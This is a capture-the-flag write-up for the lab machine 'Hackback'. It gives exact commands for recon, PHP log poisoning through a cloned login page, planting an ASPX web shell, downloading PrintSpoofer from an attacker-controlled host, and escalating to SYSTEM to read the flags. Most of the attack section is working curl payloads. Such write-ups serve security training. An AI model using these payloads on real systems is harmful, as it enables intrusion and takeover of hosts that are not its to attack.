Hackback
Summary
A Windows/IIS host served a phishing-simulation setup: an admin site (admin.hackback.htb), a cloned Hack The Box login page (www.hackthebox.htb), and a Gophish console on port 64831. The admin site's private.js was rot13-encoded and obfuscated; decoding it revealed a secret directory holding webadmin.php and a weak password that unlocked it. webadmin.php displayed the phishing site's per-session log files through PHP, and the clone logged each attempted username verbatim, so submitting a login whose username was PHP code and then viewing that log executed the code.
I used this to write an ASPX web shell and gained execution as the IIS account www-data, which held SeImpersonatePrivilege. PrintSpoofer abused that privilege to run as NT AUTHORITY\SYSTEM, which read the user flag and the root flag, the latter hidden in an NTFS alternate data stream on the Administrator desktop.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export CHOSEN_PASSWORD="<a-password-you-choose>"
export HEX_ID="<a-value-you-captured-earlier>"Some commands also carry a value in angle brackets — <log>, <tok> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Find all open TCP ports: 80, 6666, 64831.
$ nmap -p- --min-rate=1000 $TARGETFingerprint the services; 80 is IIS 10.0, 64831 serves Gophish.
$ nmap -sCV -p80,6666,64831 $TARGETExact commands 2
Add the discovered vhosts to local name resolution.
$ echo "$TARGET hackback.htb admin.hackback.htb www.hackthebox.htb" | sudo tee -a /etc/hostsConfirm the cloned login page (the phishing lure).
$ curl -sS --max-time 15 -i -H 'Host: www.hackthebox.htb' http://$TARGET/FixRemove internet-facing management and phishing-tool exposureHigh
Exact commands 2
Decode the rot13 script; deobfuscate to find the webadmin.php path and password.
$ curl -sS -H 'Host: admin.hackback.htb' http://$TARGET/js/private.js | /usr/games/rot13$PASSWORD is the weak value from private.js; action=list returns the phishing capture logs.
$ curl -sS -H 'Host: admin.hackback.htb' "http://$TARGET/$HEX_ID/webadmin.php?action=list&site=hackthebox&password=$PASSWORD&session="FixDo not hide secrets in client-side code or protect admin tools with weak passwordsHigh
Exact commands 5
Fetch the clone to capture the CSRF _token and session cookie before posting.
$ curl -sS -c cj -H 'Host: www.hackthebox.htb' http://$TARGET/ -o lure.html; tok=$(grep -oP 'name="_token" value="\K[^"]+' lure.html)The failed login is written to the session log with the PHP payload as the username.
$ curl -sS -b cj -H 'Host: www.hackthebox.htb' --data-urlencode "_token=$tok" --data-urlencode 'username=<?php echo "RCE"; ?>' --data-urlencode "password=$CHOSEN_PASSWORD" --data-urlencode 'submit=Login' http://$TARGET/Rendering the poisoned log executes the PHP; the marker confirms code execution.
$ curl -sS -H 'Host: admin.hackback.htb' "http://$TARGET/$HEX_ID/webadmin.php?action=show&site=hackthebox&password=$PASSWORD&session=<log>"Write an ASPX web shell into the admin directory, then re-show the log to run the write.
$ curl -sS -b cj -H 'Host: www.hackthebox.htb' --data-urlencode "_token=$tok" --data-urlencode "username=<?php file_put_contents('C:/inetpub/wwwroot/new_phish/admin/$HEX_ID/cmd.aspx',base64_decode('$(base64 -w0 /usr/share/webshells/aspx/cmdasp.aspx)')); echo 'WROTE'; ?>" --data-urlencode "password=$CHOSEN_PASSWORD" --data-urlencode 'submit=Login' http://$TARGET/Returns hackback\www-data (include the ASPX __VIEWSTATE/__EVENTVALIDATION fields from a prior GET).
$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=whoami' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspx
hackback\www-dataFixNever render capture logs as code, and lock down the web write pathsCritical
Exact commands 3
Confirms SeImpersonatePrivilege is enabled for www-data.
$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=whoami /all' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspxStage PrintSpoofer64.exe to a writable path via the same log-poisoning write (serve it with python3 -m http.server 8000).
$ curl -sS -H 'Host: www.hackthebox.htb' --data-urlencode '_token=<tok>' --data-urlencode "username=<?php \$d=file_get_contents('http://$ATTACKER_IP:8000/PrintSpoofer64.exe'); file_put_contents('C:/Windows/System32/spool/drivers/color/PrintSpoofer64.exe',\$d); echo 'OK'; ?>" --data-urlencode "password=$CHOSEN_PASSWORD" --data-urlencode 'submit=Login' http://$TARGET/PrintSpoofer runs the command as SYSTEM; the staged file reads back nt authority\system.
$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe -c "cmd /c whoami > C:\ProgramData\sys.txt" & type C:\ProgramData\sys.txt' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspxFixRemove SeImpersonatePrivilege from the web service accountCritical
Exact commands 3
Read user.txt as SYSTEM via a staged file (<user.txt>).
$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe -c "cmd /c type C:\Users\hacker\Desktop\user.txt > C:\ProgramData\u.txt" & type C:\ProgramData\u.txt' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspxThe /r listing reveals the alternate data stream root.txt:flag.txt.
$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe -c "cmd /c dir /a /r C:\Users\Administrator\Desktop > C:\ProgramData\d.txt" & type C:\ProgramData\d.txt' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspxRead the ADS to recover the root flag (<root.txt>).
$ curl -sS -H 'Host: admin.hackback.htb' --data-urlencode 'txtArg=C:\Windows\System32\spool\drivers\color\PrintSpoofer64.exe -c "cmd /c more < C:\Users\Administrator\Desktop\root.txt:flag.txt > C:\ProgramData\r.txt" & type C:\ProgramData\r.txt' --data-urlencode 'testing=excute' http://$TARGET/$HEX_ID/cmd.aspxExposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 6666/tcp | unknown recon-sweep-discovered |
| 64831/tcp | unknown recon-sweep-discovered |